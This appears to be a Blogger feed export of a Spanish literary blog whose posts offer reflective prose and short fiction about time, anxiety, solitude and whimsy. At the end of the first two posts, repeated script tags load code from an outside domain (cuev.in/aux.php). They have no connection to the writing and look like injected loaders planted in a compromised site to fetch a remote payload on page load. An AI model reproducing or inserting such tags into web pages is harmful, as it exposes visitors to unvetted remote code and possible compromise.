tag:blogger.com,1999:blog-17508787839753452772024-03-13T15:07:24.943-07:00Francis Lucas en su Tinta.Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.comBlogger61125tag:blogger.com,1999:blog-1750878783975345277.post-24045151254236032222017-05-14T13:58:00.001-07:002017-05-14T13:58:54.306-07:00EL DÍA EN SÍ. <h3>
Un día dedicado por entero a ser testigo de cómo sale el Sol.</h3>
<h3>
Amanece, avanza en su aparente movimiento, se pasea por el cielo, recorre la mañana, el medio día, la tarde...y al fin se esconde, crepuscular, dando paso a la noche.</h3>
<h3>
Un día entero siendo testigo paciente, en mitad del campo o en lo alto de un edificio (en una azotea), del vertiginoso movimiento de la Tierra, sentir ese vértigo, imperceptible cualquier otro día de tu vida. </h3>
<h3>
Estar tumbado sobre la hierba, apoyado en un árbol, sentado en un sillón, en una hamaca, en una tumbona. Mirar el cielo, mirar la tierra, comprobar el cambio de color según las horas. Estar calmado, elegir un día propicio en el que el cuerpo esté cansado, darle unas vacaciones de 24 horas a toda inquietud, toda incertidumbre, todo estímulo y distracción que suele llamar a tu puerta o ronda tu ventana como una mosca.</h3>
<h3>
Ponerte cómodo, estar cómodo, tener comida y agua cerca. Abrir los ojos y respirar, suspirar, sentirte aliviado, libre por un día de la batalla diaria y sus demonios cotidianos, ajeno al precipicio de querer ir por delante y a las prisas que te acosan, esos otros días, de manera constante. </h3>
<h3>
Amanece, observas en silencio.Empieza el día infinito, el que quedará en tu memoria siempre, el día más presente... o más ausente, el más intenso, el menos tenso, el más tranquilo, el más difícil. EL DÍA ,con mayúsculas: </h3>
<h2>
vacío,virgen, inexplorado, simple,en blanco, en molde, limpio, mudo, acogedor, entregado. </h2>
<h3>
El espectáculo del día en sí, en sí mismo, como protagonista,sin colorantes ni conservantes, sin tus huellas,sin tu intervención, sin tu manipulación, sin tu voluntad, sin tu juicio, sin tu opinión. </h3>
<h3>
La tierra sigue girando y el sol parece que se eleva en el cielo, si te concentrases casi podrías oír el sonido de tan grande hoguera, de sus enormes llamas. </h3>
<h3>
Llega el medio día y después, poco a poco, empieza a bajar, suavemente, como acariciando el aire; baja, desciende...</h3>
<h3>
(Tú estás ahí, simplemente observando. Sin necesidad de hacer nada más)</h3>
<h3>
...y se acaba escondiendo tras un monte, una montaña, el bosque, el desierto,los edificios, el mar.</h3>
<h3>
El día se reduce a la mínima expresión de luz, hasta apagarse del todo, esfumarse, convertirse en pasado.</h3>
<h3>
Y tú lo has visto todo, te has dado cuenta.</h3>
<h3>
Todo lo demás, un día como este, está de más.</h3>
<div>
<br /></div>
<div>
<br /></div>
<h3>
Miro el calendario y me pregunto:</h3>
<h3>
¿Cuándo me daré permiso para hacerlo?</h3>
<h3>
¿Cuándo?... abrigarme solamente con el tiempo.</h3>
<h3>
Un día, en ésta vida...</h3>
<h3>
...pensar en ello,</h3>
<h3>
como en un refugio</h3>
<h3>
bajo la tormenta. </h3>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script>Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-36624005697705477152017-01-03T08:07:00.000-08:002017-01-04T03:52:54.140-08:00LA LÍNEA RECTA, LA CASA EN EL MONTE, EL SOL DE INVIERNO.<h3>
La línea recta establece la distancia mas corta entre la vida y la muerte, es por eso que los que llevan prisa y no se entretienen desean morir sin darse cuenta y tienen miedo a la vida, inconscientemente. Éste trayecto que todos recorremos se puede hacer andando o corriendo, saltando o bailando, en coche, en moto, en AVE, volando...o a rastras o de espaldas o buceando, descubriendo tesoros bajo la superficie de las cosas, o sin moverse y que te lleven y vivir muerto, o llevando a otros a la espalda, o echándose el mundo al hombro (como Jude, ey Jude de los Beatles) o cargando chatarra como un penitente (Robert de Niro en la Misión) o ligero de equipaje;con los ojos cerrados en un coche chocante ,con las manos en los bolsillos confiado, silbando alegre o en guardia, lanzando puños al imaginario enemigo o abrazando a todo el que te encuentras, a la defensiva, precavido o agresivo...huyendo, mirando hacia atrás como si alguien te persiguiera y fuese tu pesadilla, que te persigue y que te hace vivir sin vivir en ti, sino en otro, ese otro que no existe y al que llamamos fantasma o miedo u octavo pasajero, un Alien!!, un alienigena que, como un mago, llama tu atención con una mano para con la otra robarte el corazón, la vida, el palpito, el púlpito al que nunca podrás llegar para decir o gritar BASTA!. </h3>
<h3>
Eso lo digo a voz de pronto, se que se dice "a bote pronto" pero la expresión "a voz de pronto" me parece mas apropiada, ¿qué es eso de "a bote pronto"?, menuda tontería, que boten las pelotas, que voten con "V" los Visitantes, los turistas del mundo que necesitan un guía para que les enseñen las postales, lo mas bonito, lo mas visitado, lo que no hace falta que veas porque ya lo has visto mil veces y tampoco vas a ver si vas a verlo porque un aluvión de móviles, máquinas fotográficas y cámaras van a nublar el cielo a su alrededor como una nube de flechas nublaron aquel cielo sobre la batalla de Maratón entre Persas y Atenienses. </h3>
<h3>
La línea recta son 100 metros lisos, yo los prefiero con vallas, con charcos, con curvas, con trampas como en el juego de la Oca, con calabozo, con puente (y tiro porque me lleva la corriente) con dados ( y tiro porque me ha tocado) dados de la suerte, con posada donde reposar y Ocas que te hacen saltar, Ocas canguros, y muerte, sustos que te hacen volver para atrás, desnudo, sin nada, volver a empezar. </h3>
<h3>
Volver a empezar. No he visto esa película, creo que es de Garci,¿no?, si, lo es. Le dieron un Oscar y todo. No la he visto, pero el título es bueno, con eso me quedo. </h3>
<h3>
Sobre todo ahora, que estamos en Enero y no tengo prisas por salir de ésta cueva donde me meto en invierno. Como un oso pardo tiendo a hibernar<span style="background-color: yellow;"> ,</span> entro en estado de letargo, de feliz pasividad viendo todo pasar a través de la ventana y la pantalla, unos van para allá, otros para acá, muchos se chocan entre sí, discuten, se acaloran... de nada les sirve, siguen pensando lo que pensaban antes, van a lo suyo, como hormigas, evitando el accidente,cambiar de opinión, aceptar que todo puede ser de otra manera, evitando perder tiempo. ..pero ¿qué diferencia hay entre perder tiempo y ganar tiempo?, ¿no es lo mismo hacerlo que matarlo?...ante la duda mas de uno se agarra a la línea recta. A mí no me cuentes historias, bastante tengo con la mía. Pues sigue con la tuya, llévatela a la tumba, a la caja fuerte, a tu cuenta corriente. </h3>
<h3>
Me desperezo, ha llovido, remite el frío, el cuerpo se da cuenta. El cuerpo es un animal y no se deja domar, o tal vez si , pero yo me niego a montar la razón sobre él y convertirlo en un caballo percherón, no por lo ancho sino por lo dócil. </h3>
<h3>
¿Qué piensas?, le pregunto , y ella me dice "Nada". Debe ser verdad pero me sorprende, no deja de sorprenderme, ¿cómo puedes estar sin pensar en nada?. Yo pienso en esa casa de madera en lo alto del monte, el monte verde, el bosque del monte, la chimenea dentro, el porche fuera, un hacha, buscar leña, botas de montaña, la piel de la cara fría, el Sol de invierno, un perro pastor, hablar poco, cortar madera, echar vaho por la boca, volver dentro, una ducha de agua caliente, encender la chimenea, mirar el fuego...y tú sin pensar nada me miras. </h3>
<h3>
El silencio,</h3>
<h3>
una línea recta entre los dos, </h3>
<h3>
entre tu vida y la mía,</h3>
<h3>
después de tantas vueltas, </h3>
<h3>
después,</h3>
<h3>
antes </h3>
<h3>
y durante...</h3>
<h3>
</h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIcgBDblp15u71qUB7o4LADtzEHtSPX9tfh4DRUaZSfT9DE4SLwuF1vwJ5hLpNsK6aoYm2NiP2zSDBFtWOIb203ygY-XcOvGP4pRs5Jdosudh3odcni04tcD5wMmNsLu4nYacftc4j_10/s1600/casa+de+madera+en+el+bosque..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIcgBDblp15u71qUB7o4LADtzEHtSPX9tfh4DRUaZSfT9DE4SLwuF1vwJ5hLpNsK6aoYm2NiP2zSDBFtWOIb203ygY-XcOvGP4pRs5Jdosudh3odcni04tcD5wMmNsLu4nYacftc4j_10/s320/casa+de+madera+en+el+bosque..jpg" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><br />
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script>Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com2tag:blogger.com,1999:blog-1750878783975345277.post-40933246469594727982016-03-13T08:26:00.003-07:002016-03-13T08:26:47.091-07:00TENGO QUE TENGO QUE TENGO QUE...<h2>
Tengo que, tengo que, tengo que, ¿qué tengo? Ansiedad, si, lo se, ¿qué pasa?, nada, no pasa nada, por eso no puedo parar porque cuando no pasa nada me muero, no me encuentro, me pierdo, me pongo a temblar, soy incapaz de estarme quieto,de parar un rato, de sentarme en el sofá ,a no ser que me deje caer sobre él ya machacado ,físicamente agotado, vencido por el cansancio (al que me enfrento cada día con saña deseando perder) y encienda la tele para evitar, por si acaso, pensar.</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTirZPj6I9jSV15-7nKVbMThNdMYg7v3qUw2vYGA6IEJ5-3LZBzSelqctIOm_nWkvavL6OCdY4NV4RVbfmlya1awfLNIAP0TcRzEdKpV7Q0FqgzzfKfIbKafT0r-vJH-kCc9ZP3Z7W8Z0/s1600/muro+de+hormig%25C3%25B3n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTirZPj6I9jSV15-7nKVbMThNdMYg7v3qUw2vYGA6IEJ5-3LZBzSelqctIOm_nWkvavL6OCdY4NV4RVbfmlya1awfLNIAP0TcRzEdKpV7Q0FqgzzfKfIbKafT0r-vJH-kCc9ZP3Z7W8Z0/s1600/muro+de+hormig%25C3%25B3n.jpg" /></a></div>
<h2>
<br />A veces se me olvida incluso respirar, y es que son un contratiempo las necesidades biológicas, comer,ducharse, ir al water, respirar...qué pérdida de tiempo!, con la de cosas que tengo que hacer, tengo que, tengo que, tengo que, tengo que...no puedo estar tranquilo, la serenidad es una bruja, la calma un engaño, tengo que cumplir mis objetivos y esos objetivos están lejos de aquí, siempre están lejos, lejos de donde estoy, por eso no puedo parar quieto , no me llames la atención, no pretendas que te escuche, no quiero escucharte, ni a ti ni a nadie, todos tenemos nuestros problemas, no me cuentes los tuyos no me interesan, si, somos amigos, pero ya no es como entonces cuando nos conocimos y lo pasábamos tan bien perdiendo el día, ahora ya eso es imposible, impensable, por favor, déjame pasar, no quiero hablar del pasado ni de cómo fuimos, tengo mucha prisa ¿es que no lo ves?.<br />Oh amor, llegaré tarde a casa, hace tanto tiempo que no te veo, ¿cómo te llamabas?, ¿seguimos viviendo en el mismo sitio?, te quiero, un beso!, me voy, tengo que irme, tengo que trabajar, tengo que hacer deporte después, tengo que ir al fisio, tengo que comprarme ropa, tengo que ir a la peluquería, tengo que ducharme, no tengo tiempo para vivir ¿lo comprendes,verdad?, a mí la vida me da igual, la vida es para los que no tienen nada que hacer, para los vagos, para los distraídos, para los que no se concentran. Yo me concentro mucho, me concentro en todo lo que hago y procuro hacer de todo, siempre en orden, eso sí, una cosa detrás de otra, nunca dos cosas a la vez, bueno...casi nunca, a veces mientras como practico spinning, de ésta manera quemo las calorías según van entrando en mi cuerpo. Mi familia, mis padres, un beso a todos!, un abrazo!,tengo ganas de verlos pero no tiempo, os mando un abrazo fuerte!, si, eso bastará por ahora, un fuerte abrazo, que se note que tengo ganas, que los echo de menos, ¿con eso lo notarán?, espero que sí, tengo prisa, he de seguir. Oh, una cola, no puedo soportarlo, ahora habrá que esperar, maldita sea!, una cola, no contaba con ésto, me niego a esperar, si paro y espero seguro que me pongo a pensar y tengo que evitarlo a toda costa, ¿pensar?, no por favor, sólo de pensar en pensar me entran ganas de llorar, tengo que huir , salir corriendo, correr, si, correr, me vendrá bien, tengo que machacar mi cuerpo, adormecer mi cerebro, evitar que se plantee cosas, tumbarlo, darle una buena paliza. Corro, recorro la ciudad, cruzo el puente, atravieso un barrio, atravieso otro, paro a beber en una fuente pública, se cae una anciana al suelo cerca de mí, me veo en la obligación de tener que ayudarle a ponerse en pie, me dice gracias hijo, quiero irme ya, no me gusta que me miren a los ojos, pero la anciana está mareada, me pide que la acerque a su casa por favor, yo la sentaría en el banco de paseo que hay al lado de la fuente y me iría corriendo, que se busque la vida, yo tengo que, tengo que, tengo que...pero no puedo, me pongo nervioso, voy a llevarla a su casa, no hay mas remedio, las necesidades biológicas y ésto de ayudar a los demás es una pérdida completa de tiempo!!, y encima tengo que ir al ritmo de la anciana, que va lenta, muy lenta, me exaspero, ella me mira y me dice gracias de nuevo, me pone de mal humor, me hace sentir mal, como culpable, ¿culpable de qué?, yo sólo quiero hacer lo que tengo que hacer,son ya las siete de la tarde y aún no he hecho nada importante, no he cumplido ningún objetivo de los que me tenía marcado, soy una mierda, una mierda, una puta mierda, y en eso pienso con ahínco, con rabia canina, con ansiedad, pero la anciana tropieza con una baldosa levantada y tengo que sujetarla para que no caiga de nuevo al suelo. Ella llora, lo que me faltaba!, llora, no se qué hacer, ¿qué le digo?, ¿por qué tengo que decirle algo?, ¿y en mí?,¿nadie piensa en mí?, la anciana tiene los ojos verdes y la cara blanca, me resulta familiar, se asoma un sentimiento al que denomino "cariño" en mi persona, qué pérdida de tiempo son los sentimientos!!, ¿por qué tengo yo ahora que sentir nada?, no me lo puedo permitir, tengo un título, soy licenciado, después hice un master, no soy un cualquiera!, si fuese un cualquier podría permitirme sentir cariño, pero espero que me comprenda la anciana, aunque los ancianos son muy egoístas, en cualquier caso me da igual, ¿vive usted cerca?, le pregunto, a la vuelta de la esquina me dice, ya estamos llegando le digo, muchas gracias me dice de nuevo, te invitaré a un café, ¿un café?, no,no,no, eso no, no digo nada pero sería totalmente imposible, he de seguir haciendo cosas, ¿por qué me pasa ésto a mí?, con lo cortos que son los días en ésta época del año, ¿sentarme en casa de la anciana a tomar un café?, qué locura!, a los viejos se les va la cabeza!.</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQniZvOSCFuiyRzbrxVdQdBL-CZy6WOSfmOBxUlLSX_qlr7rh4UQJvISsNil7JgstqLqkwk32L-8ofc2NmmbJhSnDuopTonxOxVB0Tz0JU2UP458Y7Llj6jljF8X5XJzckEIfg8YFip88/s1600/Muro+de+hormig%25C3%25B3n+con+grieta.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="309" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQniZvOSCFuiyRzbrxVdQdBL-CZy6WOSfmOBxUlLSX_qlr7rh4UQJvISsNil7JgstqLqkwk32L-8ofc2NmmbJhSnDuopTonxOxVB0Tz0JU2UP458Y7Llj6jljF8X5XJzckEIfg8YFip88/s320/Muro+de+hormig%25C3%25B3n+con+grieta.jpg" width="320" /></a></div>
<h2>
</h2>
<h2>
Llegamos a su portal, me dice aquí es, saca lentamente unas llaves del bolso, yo la sigo sujetando, parece muy débil, está muy delgada, no comerá y yo no tengo la culpa, ¿no tendrá hijos?, que le ayuden ellos, ahora subiré con ella a casa para que llame a sus hijos y que vengan a cuidarla, ahora que me fijo tiene una pierna sangrando, se lo haría en la caída. Es la cadera, me dice, creo que se me ha roto la cadera. Bufff, eso suena a grave, qué mierda de día, tengo que hacer deporte, tengo que planificar los objetivos de mañana, tengo que visitar una web de cepillos de dientes, tengo que llamar por teléfono para informarme de unas ofertas, tengo que...pero subo en ascensor con la anciana a la que pregunto el nombre por decir algo mientras subimos a un ritmo pasmoso que casi acaba con mi paciencia, estoy a punto de gritar y de pegar puñetazos en la pared. Matilde dice que se llama, me pregunta el mío, le digo uno falso,¿qué mas da?, ¿a ella qué le importa mi nombre?, es mío!. Me da la llave de la puerta de su casa, ella no tiene fuerzas para abrirla, la abro yo, al hacerlo sale del interior un olor a soledad que echa para atrás, una ola de olor a soledad rancia, me entran ganas de vomitar. La anciana debe vivir sola, debe llevar una vida solitaria, ¿querrá que me quede también a cenar?. La siento en un sillón del salón, subo la persiana porque no se ve nada, enciendo la luz porque subiendo la persiana tampoco se ve nada, ya es casi de noche. Tiene que llamar a uno de sus hijos, le digo, no tengo hijos me dice. Me cago en todo,reviento por dentro, por fuera creo que no se me nota, pregunto por el lavabo, me lavo la cara y las manos, estoy sudando. Vuelvo al salón, me siento a su lado, ¿llamaría usted a una ambulancia,por favor?, si, claro, le digo, si claro, esa es la solución, pienso para mí,¿Cómo no me lo había dicho antes?,yo no tengo porqué pensar en sus problemas, bastante tengo con los míos!, llamo a una ambulancia, vienen enseguida y se la llevan al hospital que es donde tiene que estar, allí la cuidarán para eso les pagan, ¿me paga alguien a mí éste tiempo empleado en ayudarla?, No, nadie me paga por hacerlo. La anciana llora, ésta vez sin escándalo, esta vez sin decir nada, esta vez definitivamente, llora, le sale la tristeza profunda por un hilillo de voz rota. Yo estoy al lado, en la silla de al lado, no me muevo, me quedo tieso, no se que hacer, creo que me estoy conmoviendo, no ,no puede ser, ¿conmoverme ahora?, no puedo permitir que pase una cosa así. Ella me coge la mano, me aprieta, me dice qué sola estoy y se le derrumba la cabeza que cae sobre el cuello, se da por vencida, se da por muerta. No puedo evitarlo, creo que me rompo, siento cómo se abre una grieta en mi pecho, soy una presa, el embalse está hasta arriba de agua impetuosa, corre el agua desbocada rompiendo el hormigón, la grieta estalla, se viene abajo la presa, eyaculo lágrimas, mi cuerpo sufre convulsiones, lloro, nunca he llorado, no se llorar, pero lloro, esto es llorar, ay, se me escapa un ay, y otro, otro, muchos ays, abrazo a la anciana, ella me abraza. Cierro los ojos, lloro de alegría con mucha tristeza, siento el calor de Matilde, hacía muchos años que no sentía éste calor, tan humano.Me reblandezco, un globo demasiado hinchado de aire caliente hirviendo ha estallado en mi interior. Ha hecho BUUM!. </h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9mt1cO-eaYkbbH9GypH3xu6i4u_W0QZUWsbGRPPJBNvFPvZqD9_vs2qOxmGN8WrBq8_PvHyfv231O9g3iUCqaiR6dIbN7THE0-PLoNYTkol_yJTARNw1c5DkzM83tnwWyrp9rEUzi0nY/s1600/flor+entre+grietas+del+muro+de+Hormig%25C3%25B3n..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="214" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9mt1cO-eaYkbbH9GypH3xu6i4u_W0QZUWsbGRPPJBNvFPvZqD9_vs2qOxmGN8WrBq8_PvHyfv231O9g3iUCqaiR6dIbN7THE0-PLoNYTkol_yJTARNw1c5DkzM83tnwWyrp9rEUzi0nY/s320/flor+entre+grietas+del+muro+de+Hormig%25C3%25B3n..jpg" width="320" /></a></div>
<div>
<br /></div>
<h2>
¿Y ahora qué?, ahora nada... pero ya no me da tanto miedo. </h2>
<br />
<br />Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-43928473844521068362015-08-18T10:41:00.001-07:002015-08-20T03:12:45.637-07:00GARABATOS. <h2>
Toc toc. Llamando a la puerta blanca. Toc toc. Llamando con insistencia. Riiiing. Llamando al timbre de la puerta blanca. Ayyyy... no obtengo respuesta.</h2>
<h2>
Parece que no hay nadie dentro. Fuera no hay duda, estoy yo, pero ¿de qué me sirve solo ante la puerta blanca?</h2>
<h2>
¿La tumbo de una patada y entro a la fuerza?. Sería inútil, no tendría sentido...sin embargo, es imposible que no halla nadie tras la puerta. Alguien hay, hay algo, estoy seguro, pero no quiere abrirme, no quiere dejarme entrar, no quiere mostrarse, no quiere salir, no quiere que juguemos, que investigue, que observe, que me sirva de excusa...</h2>
<h2>
Pues bien, con excusa o sin ella: seguiré adelante.</h2>
<h2>
Un toro de lidia jubilado en una residencia de ancianos, por ejemplo. Un toro de lidia recordando los viejos tiempos, cuando a los de su especie se les toreaba en la recta final de sus vidas. </h2>
<h2>
Vidas !, aquello sí que eran vidas, crecer bravo entre encinas, llegar a ser el Rey de la dehesa, soñar con matar al hombre del traje de luces del juicio final o morir en la batalla. Glorioso final...</h2>
<h2>
Los amigos del toro jubilado le dan unas palmaditas en el lomo, un lomo herido en la parte del orgullo por la humillante ausencia de banderillas. ¿Damos un paseíto por el jardín?, le proponen sus amigos por distraerlo un poco. Y se levantan con dificultad y precaución los tres ancianos, el toro de lidia jubilado, el viejo boxeador y el reumático galgo, abandonado por un cazador primero y por un amigo de los animales fashion después. </h2>
<h2>
Dan un paseo por el jardín que rodea la residencia antes de la sopa ,la cama y el dormir sin sueño,o el sueño sin dormir. </h2>
<div>
<br /></div>
<h2>
Ahí les dejo.</h2>
<div>
<br /></div>
<h2>
Cambio de tema a la espera de que alguien abra la puerta blanca o algo salga por debajo de ella y me caliente los pies. </h2>
<h2>
Una escuela oficial de Lenguas muertas.</h2>
<h2>
Se ha inaugurado en la ciudad una escuela oficial de Lenguas Muertas!!!!.</h2>
<h2>
Se darán clases de Sánscrito, de Fenicio, de Austro-húngaro, de Romance Paladín, de Celtíbero, de Lombardo,de Etrusco, de Tartésico, de Gálata,de Eslavo Oriental,de Cántabro, de Bulgárico y sobre todo,de la lengua muerta de moda :</h2>
<h2>
El Dálmata. </h2>
<h2>
El Dálmata, además de ser un dado con cuatro patas, es una lengua muerta el 10 de Junio de 1898. Murió el día que dejó de respirar Antonio Udina Burbur, su último hablante. Dálmata viene de Dalmacia, pues era en la costa de Dalmacia donde se hablaba éste idioma ahora podrido y comido por los gusanos. En las islas de Krk, Cres y Rab (menudos nombrecitos) se hablaba con naturalidad. Era una especie de lengua puente entre el italiano y el rumano. Sus hablantes comían pasta tocando el acordeón. </h2>
<h2>
Al no usar las manos para introducirse el alimento en la boca,es de suponer que se ponían muy guarros. Tal vez por ello acabó muriendo el Dálmata, los que lo hablaban debían de dar un asco terrible. Los países vecinos empezaron a odiarlos, a evitar su contacto. Y ellos renunciarían a su lengua para no delatarse tal y como hizo San Pedro negando al hippy super Star . </h2>
<h2>
El mundo es un pañuelo y la conducta humana un moco que se reencarna una y otra vez. </h2>
<h2>
A lo que iba , la escuela de Lenguas Muertas será todo un éxito.Se lleva el Dálmata, está de moda, los jóvenes vuelven a montar en bici y a querer hablar en Celtíbero, en Cántabro, en Sánscrito y en Fenicio.(El Latín es demasiado reciente y lo usan aún los curas, hecho éste que lo convierte en retrógrado, pero dentro de veinte años mas, quizá veinticinco, volverá a estar de rabiosa actualidad)</h2>
<h2>
Eh...Bah!</h2>
<h2>
Éste tema no da para mas o puede que sí, pero no voy a seguir por ahí. Vuelvo a mirar la puerta blanca. Tras ella el silencio, cada vez que paro. Me aburre mirarla sin mas. Voy a terminar de garabatear sobre ella. No conseguiré que me abra, pero voy a ponerla bonita, como las paredes del cuarto de baño de un bar decadente de los noventa.</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEXedw7XzCjCx-jrTm8kCgBqrojg0VhuzmsxTvGKCXIRV-r2wA2dGzSrfglleLUqYcvYzckbPZA8fy0DPFinmzanN5sN8c0OednxAM_CHCtGAPw5uESQogMVXd-WpEnDUbsIFGVr9GCNs/s1600/cuarto+de+ba%25C3%25B1o+punk+1..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="211" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEXedw7XzCjCx-jrTm8kCgBqrojg0VhuzmsxTvGKCXIRV-r2wA2dGzSrfglleLUqYcvYzckbPZA8fy0DPFinmzanN5sN8c0OednxAM_CHCtGAPw5uESQogMVXd-WpEnDUbsIFGVr9GCNs/s320/cuarto+de+ba%25C3%25B1o+punk+1..jpg" width="320" /></a></div>
<h2>
</h2>
<h2>
Ya no veo baños así de pintorreados... ¿ahora nadie pinta en los baños?, igual no voy a los bares adecuados. Desconfío de ésta civilización que libera a los toros y encierra a los ancianos, que salva a la foca y condena a muerte al emigrante subsahariano, que elige al torero como malvado y al futbolista como salvador, ¿ésto es progreso?,damos un paso en falso hacia adelante y cinco verdaderos hacia atrás.</h2>
<h2>
Se ha descubierto un planeta en otra galaxia al que han llamado Kepler no se qué mas,por lo visto ese planeta podría albergar vida humana, puede que esa sea la solución, acabar con éste de una vez y crear una linea de cohetes de alta velocidad para huir a Kepler. Lamentablemente se salvarán sólo unos pocos, los IBEX 35 que puedan pagar el billete de entrada para el Arca de Noé mas sus amigos, que entrarán con invitación, claro. Los demás haremos cola como siempre,pero llegaremos tarde habiéndonos levantado temprano. ¿Por qué ya nadie pinta en los baños?,¿Hay vida antes de la muerte?,¿dónde he dejado las gafas de Sol?,¿Playa o montaña?, No me invites a tu boda, por favor, y si me invitas, invítame de verdad, me entiendes, no?.</h2>
<div>
<br /></div>
<h2>
¿Os imagináis un poeta que venda versos a peso y sólo escriba poemas subvencionados?. </h2>
<div>
<br /></div>
<h2>
Mira:</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjARHbQ2lChSX7j_hiopADwRHrg49mphEef6NVvQO7IpmBfQB2ywyxNAyTEyrbEliO-ZFrr7M7kMsCr2vpgTEaEjPVjtOEQv79xXFXduCRk__wPFxarOtynZ6jDV67v6YBTQF7Eq5bN7c0/s1600/Un+mono+con+gafas..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjARHbQ2lChSX7j_hiopADwRHrg49mphEef6NVvQO7IpmBfQB2ywyxNAyTEyrbEliO-ZFrr7M7kMsCr2vpgTEaEjPVjtOEQv79xXFXduCRk__wPFxarOtynZ6jDV67v6YBTQF7Eq5bN7c0/s1600/Un+mono+con+gafas..jpg" /></a></div>
<div>
<br /></div>
<h2>
Un mono con gafas, ¿Qué tontería,verdad?.</h2>
<h2>
Ésto era un tipo con la nariz tan larga y tan fina que se le posaban nueve pájaros cada noche. Al tipo ésto le hacía gracia, se sentía como un árbol. Dormía de pié para no despertar a los pájaros, que se quedaban fritos nada mas posarse sobre su acogedora narizota. Era un hombre bueno, hasta cierto punto que desconocemos y que me niego a conocer.</h2>
<div>
<br /></div>
<h2>
Mira:</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv7zZ26MElIw9v_ClEdPBYIQmb7qWLegXVoqIhCaSGLXbdHX9iKrdVlzeRv_x92O5ZX-52CJi9HozDYh6FNf-6BXoNIk4e36HC0V7pQsxmAAjsANq8vIufHyNLhjvvCCCzQ1GewXjca9A/s1600/un+peat%25C3%25B3n+huyendo..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv7zZ26MElIw9v_ClEdPBYIQmb7qWLegXVoqIhCaSGLXbdHX9iKrdVlzeRv_x92O5ZX-52CJi9HozDYh6FNf-6BXoNIk4e36HC0V7pQsxmAAjsANq8vIufHyNLhjvvCCCzQ1GewXjca9A/s1600/un+peat%25C3%25B3n+huyendo..jpg" /></a></div>
<div>
<br /></div>
<h2>
Un peatón que prefiere saltarse la señal y escapar antes que cruzar por donde siempre. Hace bien. </h2>
<div>
<br /></div>
<h2>
Mira:</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2-aARE-yvfs0Yv7znVOZkY9eHaZm9WnxU-Dcm_0wfNVhLvhq9mmcTZoOa1k7oIRPc8BZNT1qGNoCkAJjkS3w__hJs_sSxDC2qn5-982cAQOp_5NMgEGc6pH_mBFidIrBvr4ivlva7h3s/s1600/un+t%25C3%25ADo+saltando+una+tuber%25C3%25ADa..jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="234" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2-aARE-yvfs0Yv7znVOZkY9eHaZm9WnxU-Dcm_0wfNVhLvhq9mmcTZoOa1k7oIRPc8BZNT1qGNoCkAJjkS3w__hJs_sSxDC2qn5-982cAQOp_5NMgEGc6pH_mBFidIrBvr4ivlva7h3s/s320/un+t%25C3%25ADo+saltando+una+tuber%25C3%25ADa..jpeg" width="320" /></a></div>
<h2>
El mismo peatón, saltando ahora una tubería, puede que perseguido por un gato. Tal vez pensando "¿para qué coño me escapé del paso de peatones?". Suerte amigo!!.</h2>
<div>
<br /></div>
<h2>
En la parte trasera de un camión hay un cartel que dice claramente: TRANSPORTE DE ANIMALES VIVOS.</h2>
<h2>
